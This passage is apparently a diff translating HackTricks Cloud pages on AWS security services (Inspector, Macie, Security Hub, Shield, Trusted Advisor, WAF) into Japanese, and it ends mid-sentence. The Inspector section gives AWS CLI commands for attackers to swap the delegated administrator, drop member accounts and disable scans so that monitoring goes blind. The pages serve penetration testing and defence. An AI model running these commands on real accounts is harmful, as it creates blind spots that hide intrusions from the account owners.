無許可の管理者アカウントを有効にすることで、攻撃者はセキュリティ設定を制御し、スキャンを無効にしたり、悪意のある活動を隠すために設定を変更したりする可能性があります。 > [!WARNING] -> It is required for the unauthorized account to be in the same Organization as the victim in order to become the delegated administrator. +> 無許可のアカウントは、委任された管理者になるために被害者と同じ組織に所属している必要があります。 > -> In order for the unauthorized account to become the delegated administrator, it is also required that after the legitimate delegated administrator is disabled, and before the unauthorized account is enabled as the delegated administrator, the legitimate administrator must be deregistered as the delegated administrator from the organization. . This can be done with the following command (**`organizations:DeregisterDelegatedAdministrator`** permission required): **`aws organizations deregister-delegated-administrator --account-id --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`** - +> 無許可のアカウントが委任された管理者になるためには、正当な委任された管理者が無効にされた後、無許可のアカウントが委任された管理者として有効にされる前に、正当な管理者が組織から委任された管理者として登録解除される必要があります。これは次のコマンドで実行できます（**`organizations:DeregisterDelegatedAdministrator`** 権限が必要）： **`aws organizations deregister-delegated-administrator --account-id --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`** ```bash # Disable aws inspector2 disable-delegated-admin-account --delegated-admin-account-id # Enable aws inspector2 enable-delegated-admin-account --delegated-admin-account-id ``` - -- **Potential Impact**: Disruption of the security management. +- **潜在的な影響**: セキュリティ管理の中断。 #### `inspector2:AssociateMember`, `inspector2:DisassociateMember` -An attacker could manipulate the association of member accounts within an Amazon Inspector organization. By associating unauthorized accounts or disassociating legitimate ones, an attacker could control which accounts are included in security scans and reporting. This could lead to critical accounts being excluded from security monitoring, enabling the attacker to exploit vulnerabilities in those accounts without detection. +攻撃者は、Amazon Inspector 組織内のメンバーアカウントの関連付けを操作する可能性があります。無許可のアカウントを関連付けたり、正当なアカウントを関連付け解除したりすることで、攻撃者はどのアカウントがセキュリティスキャンや報告に含まれるかを制御できます。これにより、重要なアカウントがセキュリティ監視から除外され、攻撃者がそれらのアカウントの脆弱性を検出されずに悪用できる可能性があります。 > [!WARNING] -> This action requires to be performed by the delegated administrator. - +> このアクションは、委任された管理者によって実行する必要があります。 ```bash # Associate aws inspector2 associate-member --account-id # Disassociate aws inspector2 disassociate-member --account-id ``` - -- **Potential Impact**: Exclusion of key accounts from security scans, enabling undetected exploitation of vulnerabilities. +- **潜在的な影響**: セキュリティスキャンからの重要なアカウントの除外により、脆弱性の未検出の悪用が可能になる。 #### `inspector2:Disable`, (`inspector2:Enable` & `iam:CreateServiceLinkedRole`) -An attacker with the `inspector2:Disable` permission would be able to disable security scans on specific resource types (EC2, ECR, Lambda, Lambda code) over the specified accounts, leaving parts of the AWS environment unmonitored and vulnerable to attacks. In addition, owing the **`inspector2:Enable`** & **`iam:CreateServiceLinkedRole`** permissions, an attacker could then re-enable scans selectively to avoid detection of suspicious configurations. +`inspector2:Disable` 権限を持つ攻撃者は、指定されたアカウントに対して特定のリソースタイプ（EC2、ECR、Lambda、Lambdaコード）のセキュリティスキャンを無効にすることができ、AWS環境の一部が監視されず、攻撃に対して脆弱な状態になります。さらに、**`inspector2:Enable`** および **`iam:CreateServiceLinkedRole`** 権限を持つことで、攻撃者は疑わしい構成の検出を避けるためにスキャンを選択的に再有効化することができます。 > [!WARNING] -> This action requires to be performed by the delegated administrator. - +> このアクションは、委任された管理者によって実行される必要があります。 ```bash # Disable aws inspector2 disable --account-ids [--resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}>] # Enable aws inspector2 enable --resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}> [--account-ids ] ``` - -- **Potential Impact**: Creation of blind spots in the security monitoring. +- **潜在的な影響**: セキュリティ監視における盲点の作成。 #### `inspector2:UpdateOrganizationConfiguration` -An attacker with this permission would be able to update the configurations for your Amazon Inspector organization, affecting the default scanning features enabled for new member accounts. +この権限を持つ攻撃者は、あなたのAmazon Inspector組織の設定を更新でき、新しいメンバーアカウントに対して有効なデフォルトのスキャン機能に影響を与えます。 > [!WARNING] -> This action requires to be performed by the delegated administrator. - +> このアクションは、委任された管理者によって実行される必要があります。 ```bash aws inspector2 update-organization-configuration --auto-enable ``` - -- **Potential Impact**: Alter security scan policies and configurations for the organization. +- **潜在的影響**: 組織のセキュリティスキャンポリシーと設定を変更すること。 #### `inspector2:TagResource`, `inspector2:UntagResource` -An attacker could manipulate tags on AWS Inspector resources, which are critical for organizing, tracking, and automating security assessments. By altering or removing tags, an attacker could potentially hide vulnerabilities from security scans, disrupt compliance reporting, and interfere with automated remediation processes, leading to unchecked security issues and compromised system integrity. - +攻撃者は、AWS Inspectorリソースのタグを操作することができ、これはセキュリティ評価の整理、追跡、自動化にとって重要です。タグを変更または削除することで、攻撃者はセキュリティスキャンから脆弱性を隠し、コンプライアンス報告を妨害し、自動修復プロセスに干渉する可能性があり、これにより未チェックのセキュリティ問題やシステムの整合性の侵害が生じる可能性があります。 ```bash aws inspector2 tag-resource --resource-arn --tags aws inspector2 untag-resource --resource-arn --tag-keys ``` +- **潜在的影響**: 脆弱性の隠蔽、コンプライアンス報告の中断、セキュリティ自動化の中断、コスト配分の中断。 -- **Potential Impact**: Hiding of vulnerabilities, disruption of compliance reporting, disruption of security automation and disruption of cost allocation. - -## References +## 参考文献 - [https://docs.aws.amazon.com/inspector/latest/user/what-is-inspector.html](https://docs.aws.amazon.com/inspector/latest/user/what-is-inspector.html) - [https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoninspector2.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoninspector2.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md index e6e3a2281..a88ade921 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md @@ -6,70 +6,69 @@ ## Macie -Amazon Macie stands out as a service designed to **automatically detect, classify, and identify data** within an AWS account. It leverages **machine learning** to continuously monitor and analyze data, primarily focusing on detecting and alerting against unusual or suspicious activities by examining **cloud trail event** data and user behavior patterns. +Amazon Macieは、AWSアカウント内のデータを**自動的に検出、分類、特定する**ために設計されたサービスとして際立っています。**機械学習**を活用してデータを継続的に監視および分析し、主に**クラウドトレイルイベント**データとユーザー行動パターンを調査することで、異常または疑わしい活動を検出し、警告を発します。 -Key Features of Amazon Macie: +Amazon Macieの主な機能： -1. **Active Data Review**: Employs machine learning to review data actively as various actions occur within the AWS account. -2. **Anomaly Detection**: Identifies irregular activities or access patterns, generating alerts to mitigate potential data exposure risks. -3. **Continuous Monitoring**: Automatically monitors and detects new data in Amazon S3, employing machine learning and artificial intelligence to adapt to data access patterns over time. -4. **Data Classification with NLP**: Utilizes natural language processing (NLP) to classify and interpret different data types, assigning risk scores to prioritize findings. -5. **Security Monitoring**: Identifies security-sensitive data, including API keys, secret keys, and personal information, helping to prevent data leaks. +1. **アクティブデータレビュー**：AWSアカウント内でさまざまなアクションが発生する際に、機械学習を使用してデータを積極的にレビューします。 +2. **異常検出**：不規則な活動やアクセスパターンを特定し、潜在的なデータ露出リスクを軽減するための警告を生成します。 +3. **継続的監視**：Amazon S3内の新しいデータを自動的に監視および検出し、時間の経過とともにデータアクセスパターンに適応するために機械学習と人工知能を使用します。 +4. **NLPによるデータ分類**：自然言語処理（NLP）を利用して異なるデータタイプを分類および解釈し、リスクスコアを割り当てて発見を優先します。 +5. **セキュリティ監視**：APIキー、シークレットキー、個人情報などのセキュリティに敏感なデータを特定し、データ漏洩を防ぐ手助けをします。 -Amazon Macie is a **regional service** and requires the 'AWSMacieServiceCustomerSetupRole' IAM Role and an enabled AWS CloudTrail for functionality. +Amazon Macieは**地域サービス**であり、機能には「AWSMacieServiceCustomerSetupRole」IAMロールと有効化されたAWS CloudTrailが必要です。 -### Alert System +### アラートシステム -Macie categorizes alerts into predefined categories like: +Macieは、アラートを以下のような事前定義されたカテゴリに分類します： -- Anonymized access -- Data compliance -- Credential Loss -- Privilege escalation -- Ransomware -- Suspicious access, etc. +- 匿名化されたアクセス +- データコンプライアンス +- 認証情報の喪失 +- 権限の昇格 +- ランサムウェア +- 疑わしいアクセスなど -These alerts provide detailed descriptions and result breakdowns for effective response and resolution. +これらのアラートは、効果的な対応と解決のための詳細な説明と結果の内訳を提供します。 -### Dashboard Features +### ダッシュボード機能 -The dashboard categorizes data into various sections, including: +ダッシュボードは、データをさまざまなセクションに分類します： -- S3 Objects (by time range, ACL, PII) -- High-risk CloudTrail events/users -- Activity Locations -- CloudTrail user identity types, and more. +- S3オブジェクト（時間範囲、ACL、PIIによる） +- 高リスクのCloudTrailイベント/ユーザー +- アクティビティの場所 +- CloudTrailユーザーIDタイプなど。 -### User Categorization +### ユーザー分類 -Users are classified into tiers based on the risk level of their API calls: +ユーザーは、API呼び出しのリスクレベルに基づいて階層に分類されます： -- **Platinum**: High-risk API calls, often with admin privileges. -- **Gold**: Infrastructure-related API calls. -- **Silver**: Medium-risk API calls. -- **Bronze**: Low-risk API calls. +- **プラチナ**：高リスクのAPI呼び出し、しばしば管理者権限を持つ。 +- **ゴールド**：インフラ関連のAPI呼び出し。 +- **シルバー**：中リスクのAPI呼び出し。 +- **ブロンズ**：低リスクのAPI呼び出し。 -### Identity Types +### IDタイプ -Identity types include Root, IAM user, Assumed Role, Federated User, AWS Account, and AWS Service, indicating the source of requests. +IDタイプには、Root、IAMユーザー、仮想ロール、フェデレーテッドユーザー、AWSアカウント、AWSサービスが含まれ、リクエストのソースを示します。 -### Data Classification +### データ分類 -Data classification encompasses: +データ分類には以下が含まれます： -- Content-Type: Based on detected content type. -- File Extension: Based on file extension. -- Theme: Categorized by keywords within files. -- Regex: Categorized based on specific regex patterns. +- コンテンツタイプ：検出されたコンテンツタイプに基づく。 +- ファイル拡張子：ファイル拡張子に基づく。 +- テーマ：ファイル内のキーワードによって分類される。 +- 正規表現：特定の正規表現パターンに基づいて分類される。 -The highest risk among these categories determines the file's final risk level. +これらのカテゴリの中で最も高いリスクが、ファイルの最終的なリスクレベルを決定します。 -### Research and Analysis +### 研究と分析 -Amazon Macie's research function allows for custom queries across all Macie data for in-depth analysis. Filters include CloudTrail Data, S3 Bucket properties, and S3 Objects. Moreover, it supports inviting other accounts to share Amazon Macie, facilitating collaborative data management and security monitoring. - -### Enumeration +Amazon Macieの研究機能は、すべてのMacieデータに対してカスタムクエリを実行し、詳細な分析を可能にします。フィルターにはCloudTrailデータ、S3バケットプロパティ、S3オブジェクトが含まれます。さらに、他のアカウントを招待してAmazon Macieを共有することをサポートし、共同データ管理とセキュリティ監視を促進します。 +### 列挙 ``` # Get buckets aws macie2 describe-buckets @@ -102,21 +101,16 @@ aws macie2 list-classification-jobs aws macie2 list-classification-scopes aws macie2 list-custom-data-identifiers ``` - -#### Post Exploitation +#### ポストエクスプロイテーション > [!TIP] -> From an attackers perspective, this service isn't made to detect the attacker, but to detect sensitive information in the stored files. Therefore, this service might **help an attacker to find sensitive info** inside the buckets.\ -> However, maybe an attacker could also be interested in disrupting it in order to prevent the victim from getting alerts and steal that info easier. +> 攻撃者の視点から見ると、このサービスは攻撃者を検出するためではなく、保存されたファイル内の機密情報を検出するために作られています。したがって、このサービスは**攻撃者がバケット内の機密情報を見つけるのを助けるかもしれません**。\ +> しかし、攻撃者は被害者がアラートを受け取るのを防ぎ、その情報をより簡単に盗むために、これを妨害することにも興味があるかもしれません。 TODO: PRs are welcome! -## References +## 参考文献 - [https://cloudacademy.com/blog/introducing-aws-security-hub/](https://cloudacademy.com/blog/introducing-aws-security-hub/) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md index 36dc8fbe9..5de262856 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md @@ -4,24 +4,21 @@ ## Security Hub -**Security Hub** collects security **data** from **across AWS accounts**, services, and supported third-party partner products and helps you **analyze your security** trends and identify the highest priority security issues. +**Security Hub** は **AWS アカウント**、サービス、およびサポートされているサードパーティ製品からのセキュリティ **データ** を収集し、**セキュリティ** トレンドを分析し、最も優先度の高いセキュリティ問題を特定するのに役立ちます。 -It **centralizes security related alerts across accounts**, and provides a UI for viewing these. The biggest limitation is it **does not centralize alerts across regions**, only across accounts +それは **アカウント間のセキュリティ関連のアラートを中央集約** し、これらを表示するための UI を提供します。最大の制限は、**リージョン間のアラートを中央集約しない** ことです。アカウント間のみです。 -**Characteristics** - -- Regional (findings don't cross regions) -- Multi-account support -- Findings from: - - Guard Duty - - Config - - Inspector - - Macie - - third party - - self-generated against CIS standards - -## Enumeration +**特徴** +- リージョナル（発見はリージョンを越えない） +- マルチアカウントサポート +- 発見元： +- Guard Duty +- Config +- Inspector +- Macie +- サードパーティ +- CIS 標準に対して自己生成されたもの ``` # Get basic info aws securityhub describe-hub @@ -50,18 +47,13 @@ aws securityhub list-automation-rules aws securityhub list-members aws securityhub get-members --account-ids ``` - -## Bypass Detection +## 検出のバイパス TODO, PRs accepted -## References +## 参考文献 - [https://cloudsecdocs.com/aws/services/logging/other/#general-info](https://cloudsecdocs.com/aws/services/logging/other/#general-info) - [https://docs.aws.amazon.com/securityhub/latest/userguide/what-is-securityhub.html](https://docs.aws.amazon.com/securityhub/latest/userguide/what-is-securityhub.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md index b1df3003b..d999cee0f 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md @@ -4,16 +4,12 @@ ## Shield -AWS Shield has been designed to help **protect your infrastructure against distributed denial of service attacks**, commonly known as DDoS. +AWS Shieldは、**分散型サービス拒否攻撃**（DDoS）から**インフラストラクチャを保護する**ために設計されています。 -**AWS Shield Standard** is **free** to everyone, and it offers **DDoS protection** against some of the more common layer three, the **network layer**, and layer four, **transport layer**, DDoS attacks. This protection is integrated with both CloudFront and Route 53. +**AWS Shield Standard**は**無料**で提供され、一般的なレイヤー3、**ネットワーク層**、およびレイヤー4、**トランスポート層**のDDoS攻撃に対する**DDoS保護**を提供します。この保護は、CloudFrontとRoute 53の両方に統合されています。 -**AWS Shield advanced** offers a **greater level of protection** for DDoS attacks across a wider scope of AWS services for an additional cost. This advanced level offers protection against your web applications running on EC2, CloudFront, ELB and also Route 53. In addition to these additional resource types being protected, there are enhanced levels of DDoS protection offered compared to that of Standard. And you will also have **access to a 24-by-seven specialized DDoS response team at AWS, known as DRT**. +**AWS Shield Advanced**は、追加料金でより広範囲のAWSサービスに対するDDoS攻撃に対して**より高いレベルの保護**を提供します。この高度なレベルは、EC2、CloudFront、ELB、およびRoute 53で実行されているWebアプリケーションに対する保護を提供します。これらの追加リソースタイプが保護されるだけでなく、Standardに比べて強化されたDDoS保護レベルが提供されます。また、**AWSの専門的なDDoS対応チームであるDRTに24時間365日アクセスできます**。 -Whereas the Standard version of Shield offered protection against layer three and layer four, **Advanced also offers protection against layer seven, application, attacks.** +StandardバージョンのShieldがレイヤー3およびレイヤー4に対する保護を提供するのに対し、**Advancedはレイヤー7、アプリケーション攻撃に対する保護も提供します。** {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md index a975d7476..c06df4b06 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md @@ -4,72 +4,68 @@ {{#include ../../../../banners/hacktricks-training.md}} -## AWS Trusted Advisor Overview +## AWS Trusted Advisor 概要 -Trusted Advisor is a service that **provides recommendations** to optimize your AWS account, aligning with **AWS best practices**. It's a service that operates across multiple regions. Trusted Advisor offers insights in four primary categories: +Trusted Advisorは、**AWSアカウントを最適化するための推奨事項を提供する**サービスであり、**AWSのベストプラクティス**に沿っています。これは複数のリージョンで動作するサービスです。Trusted Advisorは、主に4つのカテゴリで洞察を提供します。 -1. **Cost Optimization:** Suggests how to restructure resources to reduce expenses. -2. **Performance:** Identifies potential performance bottlenecks. -3. **Security:** Scans for vulnerabilities or weak security configurations. -4. **Fault Tolerance:** Recommends practices to enhance service resilience and fault tolerance. +1. **コスト最適化:** 経費を削減するためのリソースの再構成方法を提案します。 +2. **パフォーマンス:** 潜在的なパフォーマンスのボトルネックを特定します。 +3. **セキュリティ:** 脆弱性や弱いセキュリティ構成をスキャンします。 +4. **フォールトトレランス:** サービスの回復力とフォールトトレランスを向上させるための実践を推奨します。 -The comprehensive features of Trusted Advisor are exclusively accessible with **AWS business or enterprise support plans**. Without these plans, access is limited to **six core checks**, primarily focused on performance and security. +Trusted Advisorの包括的な機能は、**AWSビジネスまたはエンタープライズサポートプラン**でのみアクセス可能です。これらのプランがない場合、アクセスは主にパフォーマンスとセキュリティに焦点を当てた**6つのコアチェック**に制限されます。 -### Notifications and Data Refresh +### 通知とデータの更新 -- Trusted Advisor can issue alerts. -- Items can be excluded from its checks. -- Data is refreshed every 24 hours. However, a manual refresh is possible 5 minutes after the last refresh. +- Trusted Advisorはアラートを発行できます。 +- チェックからアイテムを除外できます。 +- データは24時間ごとに更新されます。ただし、最後の更新から5分後に手動で更新することも可能です。 -### **Checks Breakdown** +### **チェックの内訳** -#### CategoriesCore +#### カテゴリコア -1. Cost Optimization -2. Security -3. Fault Tolerance -4. Performance -5. Service Limits -6. S3 Bucket Permissions +1. コスト最適化 +2. セキュリティ +3. フォールトトレランス +4. パフォーマンス +5. サービス制限 +6. S3バケットの権限 -#### Core Checks +#### コアチェック -Limited to users without business or enterprise support plans: +ビジネスまたはエンタープライズサポートプランのないユーザーに制限されています： -1. Security Groups - Specific Ports Unrestricted -2. IAM Use -3. MFA on Root Account -4. EBS Public Snapshots -5. RDS Public Snapshots -6. Service Limits +1. セキュリティグループ - 特定のポートが無制限 +2. IAMの使用 +3. ルートアカウントのMFA +4. EBSのパブリックスナップショット +5. RDSのパブリックスナップショット +6. サービス制限 -#### Security Checks +#### セキュリティチェック -A list of checks primarily focusing on identifying and rectifying security threats: +主にセキュリティ脅威の特定と修正に焦点を当てたチェックのリスト： -- Security group settings for high-risk ports -- Security group unrestricted access -- Open write/list access to S3 buckets -- MFA enabled on root account -- RDS security group permissiveness -- CloudTrail usage -- SPF records for Route 53 MX records -- HTTPS configuration on ELBs -- Security groups for ELBs -- Certificate checks for CloudFront -- IAM access key rotation (90 days) -- Exposure of access keys (e.g., on GitHub) -- Public visibility of EBS or RDS snapshots -- Weak or absent IAM password policies +- 高リスクポートのセキュリティグループ設定 +- セキュリティグループの無制限アクセス +- S3バケットへのオープンな書き込み/リストアクセス +- ルートアカウントでのMFAの有効化 +- RDSのセキュリティグループの許容度 +- CloudTrailの使用 +- Route 53 MXレコードのSPFレコード +- ELBのHTTPS設定 +- ELBのセキュリティグループ +- CloudFrontの証明書チェック +- IAMアクセスキーのローテーション（90日） +- アクセスキーの露出（例：GitHub上） +- EBSまたはRDSスナップショットの公開可視性 +- 弱いまたは欠如したIAMパスワードポリシー -AWS Trusted Advisor acts as a crucial tool in ensuring the optimization, performance, security, and fault tolerance of AWS services based on established best practices. +AWS Trusted Advisorは、確立されたベストプラクティスに基づいて、AWSサービスの最適化、パフォーマンス、セキュリティ、フォールトトレランスを確保するための重要なツールとして機能します。 -## **References** +## **参考文献** - [https://cloudsecdocs.com/aws/services/logging/other/#trusted-advisor](https://cloudsecdocs.com/aws/services/logging/other/#trusted-advisor) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md index 661b836d5..4481136ce 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md @@ -6,103 +6,102 @@ ## AWS WAF -AWS WAF is a **web application firewall** designed to **safeguard web applications or APIs** against various web exploits which may impact their availability, security, or resource consumption. It empowers users to control incoming traffic by setting up **security rules** that mitigate typical attack vectors like SQL injection or cross-site scripting and also by defining custom filtering rules. +AWS WAFは、**ウェブアプリケーションファイアウォール**であり、**ウェブアプリケーションやAPIを**さまざまなウェブの脅威から保護するために設計されています。これにより、ユーザーは**セキュリティルール**を設定して、SQLインジェクションやクロスサイトスクリプティングなどの一般的な攻撃ベクトルを軽減し、カスタムフィルタリングルールを定義することで、受信トラフィックを制御できます。 ### Key concepts -#### Web ACL (Access Control List) +#### Web ACL (アクセス制御リスト) -A Web ACL is a collection of rules that you can apply to your web applications or APIs. When you associate a Web ACL with a resource, AWS WAF inspects incoming requests based on the rules defined in the Web ACL and takes the specified actions. +Web ACLは、ウェブアプリケーションやAPIに適用できるルールのコレクションです。Web ACLをリソースに関連付けると、AWS WAFはWeb ACLで定義されたルールに基づいて受信リクエストを検査し、指定されたアクションを実行します。 #### Rule Group -A Rule Group is a reusable collection of rules that you can apply to multiple Web ACLs. Rule groups help manage and maintain consistent rule sets across different web applications or APIs. +Rule Groupは、複数のWeb ACLに適用できる再利用可能なルールのコレクションです。ルールグループは、異なるウェブアプリケーションやAPI全体で一貫したルールセットを管理および維持するのに役立ちます。 -Each rule group has its associated **capacity**, which helps to calculate and control the operating resources that are used to run your rules, rule groups, and web ACLs. Once its value is set during creation, it is not possible to modify it. +各ルールグループには、そのルール、ルールグループ、およびWeb ACLを実行するために使用されるオペレーティングリソースを計算および制御するのに役立つ**キャパシティ**が関連付けられています。作成時にその値が設定されると、変更することはできません。 #### Rule -A rule defines a set of conditions that AWS WAF uses to inspect incoming web requests. There are two main types of rules: +ルールは、AWS WAFが受信ウェブリクエストを検査するために使用する条件のセットを定義します。主に2種類のルールがあります： -1. **Regular Rule**: This rule type uses specified conditions to determine whether to allow, block, or count web requests. -2. **Rate-Based Rule**: Counts requests from a specific IP address over a five-minute period. Here, users define a threshold, and if the number of requests from an IP exceeds this limit within five minutes, subsequent requests from that IP are blocked until the request rate drops below the threshold. The minimum threshold for rate-based rules is **2000 requests**. +1. **通常のルール**：このルールタイプは、指定された条件を使用してウェブリクエストを許可、ブロック、またはカウントするかを決定します。 +2. **レートベースのルール**：特定のIPアドレスからのリクエストを5分間にわたってカウントします。ここで、ユーザーはしきい値を定義し、IPからのリクエスト数がこの制限を超えると、そのIPからの後続のリクエストはしきい値が下回るまでブロックされます。レートベースのルールの最小しきい値は**2000リクエスト**です。 #### Managed Rules -AWS WAF offers pre-configured, managed rule sets that are maintained by AWS and AWS Marketplace sellers. These rule sets provide protection against common threats and are regularly updated to address new vulnerabilities. +AWS WAFは、AWSおよびAWS Marketplaceの販売者によって管理される事前構成されたマネージドルールセットを提供します。これらのルールセットは、一般的な脅威からの保護を提供し、新しい脆弱性に対処するために定期的に更新されます。 #### IP Set -An IP Set is a list of IP addresses or IP address ranges that you want to allow or block. IP sets simplify the process of managing IP-based rules. +IP Setは、許可またはブロックしたいIPアドレスまたはIPアドレス範囲のリストです。IPセットは、IPベースのルールを管理するプロセスを簡素化します。 #### Regex Pattern Set -A Regex Pattern Set contains one or more regular expressions (regex) that define patterns to search for in web requests. This is useful for more complex matching scenarios, such as filtering specific sequences of characters. +Regex Pattern Setは、ウェブリクエスト内で検索するパターンを定義する1つ以上の正規表現（regex）を含みます。これは、特定の文字列のシーケンスをフィルタリングするなど、より複雑なマッチングシナリオに役立ちます。 #### Lock Token -A Lock Token is used for concurrency control when making updates to WAF resources. It ensures that changes are not accidentally overwritten by multiple users or processes attempting to update the same resource simultaneously. +Lock Tokenは、WAFリソースの更新時に同時実行制御に使用されます。これにより、複数のユーザーまたはプロセスが同時に同じリソースを更新しようとした場合に、変更が誤って上書きされないようにします。 #### API Keys -API Keys in AWS WAF are used to authenticate requests to certain API operations. These keys are encrypted and managed securely to control access and ensure that only authorized users can make changes to WAF configurations. +AWS WAFのAPIキーは、特定のAPI操作へのリクエストを認証するために使用されます。これらのキーは暗号化され、安全に管理され、アクセスを制御し、認可されたユーザーのみがWAF構成を変更できるようにします。 -- **Example**: Integration of the CAPTCHA API. +- **例**：CAPTCHA APIの統合。 #### Permission Policy -A Permission Policy is an IAM policy that specifies who can perform actions on AWS WAF resources. By defining permissions, you can control access to WAF resources and ensure that only authorized users can create, update, or delete configurations. +Permission Policyは、AWS WAFリソースに対して誰がアクションを実行できるかを指定するIAMポリシーです。権限を定義することで、WAFリソースへのアクセスを制御し、認可されたユーザーのみが構成を作成、更新、または削除できるようにします。 #### Scope -The scope parameter in AWS WAF specifies whether the WAF rules and configurations apply to a regional application or an Amazon CloudFront distribution. +AWS WAFのスコープパラメータは、WAFルールと構成が地域アプリケーションまたはAmazon CloudFrontディストリビューションに適用されるかどうかを指定します。 -- **REGIONAL**: Applies to regional services such as Application Load Balancers (ALB), Amazon API Gateway REST API, AWS AppSync GraphQL API, Amazon Cognito user pool, AWS App Runner service and AWS Verified Access instance. You specify the AWS region where these resources are located. -- **CLOUDFRONT**: Applies to Amazon CloudFront distributions, which are global. WAF configurations for CloudFront are managed through the `us-east-1` region regardless of where the content is served. +- **REGIONAL**：Application Load Balancers (ALB)、Amazon API Gateway REST API、AWS AppSync GraphQL API、Amazon Cognitoユーザープール、AWS App Runnerサービス、AWS Verified Accessインスタンスなどの地域サービスに適用されます。これらのリソースが存在するAWSリージョンを指定します。 +- **CLOUDFRONT**：グローバルなAmazon CloudFrontディストリビューションに適用されます。CloudFrontのWAF構成は、コンテンツが提供される場所に関係なく、`us-east-1`リージョンを通じて管理されます。 ### Key features -#### Monitoring Criteria (Conditions) +#### Monitoring Criteria (条件) -**Conditions** specify the elements of incoming HTTP/HTTPS requests that AWS WAF monitors, which include XSS, geographical location (GEO), IP addresses, Size constraints, SQL Injection, and patterns (strings and regex matching). It's important to note that **requests restricted at the CloudFront level based on country won't reach WAF**. +**条件**は、AWS WAFが監視する受信HTTP/HTTPSリクエストの要素を指定します。これには、XSS、地理的位置（GEO）、IPアドレス、サイズ制約、SQLインジェクション、およびパターン（文字列およびregexマッチング）が含まれます。**国に基づいてCloudFrontレベルで制限されたリクエストはWAFに到達しない**ことに注意することが重要です。 -Each AWS account can configure: +各AWSアカウントは次のように構成できます： -- **100 conditions** for each type (except for Regex, where only **10 conditions** are allowed, but this limit can be increased). -- **100 rules** and **50 Web ACLs**. -- A maximum of **5 rate-based rules**. -- A throughput of **10,000 requests per second** when WAF is implemented with an application load balancer. +- **各タイプごとに100条件**（Regexの場合は**10条件**のみ許可されますが、この制限は増加可能です）。 +- **100ルール**および**50 Web ACL**。 +- 最大**5レートベースのルール**。 +- アプリケーションロードバランサーと共にWAFが実装されている場合、**1秒あたり10,000リクエスト**のスループット。 #### Rule actions -Actions are assigned to each rule, with options being: +アクションは各ルールに割り当てられ、オプションは次のとおりです： -- **Allow**: The request is forwarded to the appropriate CloudFront distribution or Application Load Balancer. -- **Block**: The request is terminated immediately. -- **Count**: Tallies the requests meeting the rule's conditions. This is useful for rule testing, confirming the rule's accuracy before setting it to Allow or Block. -- **CAPTCHA and Challenge:** It is verified that the request does not come from a bot using CAPTCHA puzzles and silent challenges. +- **Allow**：リクエストは適切なCloudFrontディストリビューションまたはApplication Load Balancerに転送されます。 +- **Block**：リクエストは即座に終了します。 +- **Count**：ルールの条件を満たすリクエストをカウントします。これは、ルールのテストや、AllowまたはBlockに設定する前にルールの正確性を確認するのに役立ちます。 +- **CAPTCHAおよびChallenge**：CAPTCHAパズルやサイレントチャレンジを使用して、リクエストがボットから来ていないことを確認します。 -If a request doesn't match any rule within the Web ACL, it undergoes the **default action** (Allow or Block). The order of rule execution, defined within a Web ACL, is crucial and typically follows this sequence: +Web ACL内のいずれのルールにも一致しないリクエストは、**デフォルトアクション**（AllowまたはBlock）を受けます。Web ACL内で定義されたルールの実行順序は重要であり、通常は次の順序に従います： -1. Allow Whitelisted IPs. -2. Block Blacklisted IPs. -3. Block requests matching any detrimental signatures. +1. ホワイトリストに登録されたIPを許可します。 +2. ブラックリストに登録されたIPをブロックします。 +3. 有害なシグネチャに一致するリクエストをブロックします。 #### CloudWatch Integration -AWS WAF integrates with CloudWatch for monitoring, offering metrics like AllowedRequests, BlockedRequests, CountedRequests, and PassedRequests. These metrics are reported every minute by default and retained for a period of two weeks. +AWS WAFはCloudWatchと統合されており、AllowedRequests、BlockedRequests、CountedRequests、PassedRequestsなどのメトリクスを提供します。これらのメトリクスはデフォルトで毎分報告され、2週間の期間保持されます。 ### Enumeration -In order to interact with CloudFront distributions, you must specify the Region US East (N. Virginia): +CloudFrontディストリビューションと対話するには、リージョンUS East (N. Virginia)を指定する必要があります： -- CLI - Specify the Region US East when you use the CloudFront scope: `--scope CLOUDFRONT --region=us-east-1` . -- API and SDKs - For all calls, use the Region endpoint us-east-1. +- CLI - CloudFrontスコープを使用する際にリージョンUS Eastを指定します：`--scope 